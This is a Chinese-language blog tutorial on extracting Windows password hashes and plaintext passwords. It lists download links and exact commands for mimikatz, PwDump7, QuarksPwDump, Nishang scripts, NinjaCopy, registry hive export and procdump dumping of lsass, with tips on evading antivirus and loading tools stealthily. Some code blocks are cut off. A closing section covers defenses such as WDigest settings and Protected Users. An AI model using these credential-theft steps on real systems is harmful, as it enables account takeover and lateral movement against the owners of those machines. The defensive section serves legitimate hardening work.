获取windows密码
0x00 前言
Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。
要想在windows操作系统中抓取散列值或者明文密码,必须将提权提升到SYSTEM。本地用户名、散列值和其他安全验证的信息都保存在SAM文件中。lsass.exe进程用于实现windows的安全策(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。
0x01 GetPass
GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm
以管理员权限直接运行 GetPassword.exe 直接查看到明文密码
0x02 PwDump7
PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/
PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。
PwDump7 同样使用管理员权限直接运行即可
0x03 QuarkPwDump
QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe
1 | QuarkPwDump.exe --dump-hash-local |
0x04 Get-PassHashes
Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。
1 | Import-Module .\Get-PassHashes.ps1 |
或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。
1 |
|
0x05 mimikatz
mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。
mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases
使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash
1 | mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" |
或者使用 mimikatz 直接查看明文密码
1 | mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。
1 | # 不使用代理 |
0x06 SAM、SYSTEM、SECURITY 文件
导出文件
直接注册表导出 SAM、SYSTEM、SECURITY 文件
1 | reg save HKLM\SAM sam.hive |
或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1
1 | Import-Module -name .\Invoke-NinjaCopy.ps1 |
如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件
1 | C:\Windows\System32\config\SAM |
获取 HASH
用 mimikatz 获取
1 | mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit |
用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。
cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。
0x07 lsass.dmp 文件
导出文件
任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。
或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip
1 | procdump.exe -accepteula -ma lsass.exe lsass.DMP |
获取 HASH
使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值
1 | mimikatz.exe |
0x08 ntds.dit
这部分参考我之前写过的博客:ntds.dit 的提取与散列值导出。已经写的很详细了
0x09 WIFI 密码
使用自带命令可直接查询
1 | # 获取登录过的 WIFI 名称 |
0x10 密码抓取的防范方式
1、微软为了防止用户密码在内存中以明文的形式泄漏,发布了布丁KB2871997,关闭了Wdigest功能。
Windows server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。
Windows server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
KB2871997补丁是微软为了解决PsExec远程查看(c$)问题的补丁,能使本地账号不再被允许远程接入计算机系统,但是系统默认的本地管理员账号administrator这个SID为500的用户例外——即使将Administrator改名,该账号的SID还是500,攻击者仍然可以使用横向攻击方法获得内网中其他机器的控制权。安装28711997后,仍需要禁用默认的Administrator账号,以防御哈希传递攻击
2、在日常的网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应确保该项的值为0,使用户的明文密码不会出现在内存中。
命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
1)reg add 命令
开启Wdigest Auth
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
关闭Wdigest Auth
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f |
(2)使用powershell
开启Wdigest Auth
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 |
关闭Wdigest Auth
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 |
3、设置Active Directory 2012 R2功能级别
win server 2012 R2新增了一个“受保护的用户”的用户组(Protected Users),只要将需要保护的用户加入该组,攻击者就无法通过mimikatz等工具抓取明文密码和散列值了
4、防御mimikatz攻击
根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中。在默认情况下,此权限为本地管理员Administrator所有,除了老系统,本地管理员几乎不需要使用此权限。
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和lsass.exe进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程)。因此,我们可以针对这一点采取进行防御措施。将拥有Debug权限的本地管理员从Administrators组中移除。重启系统后将无法再使用mimikatz进行抓取散列值和明文密码了。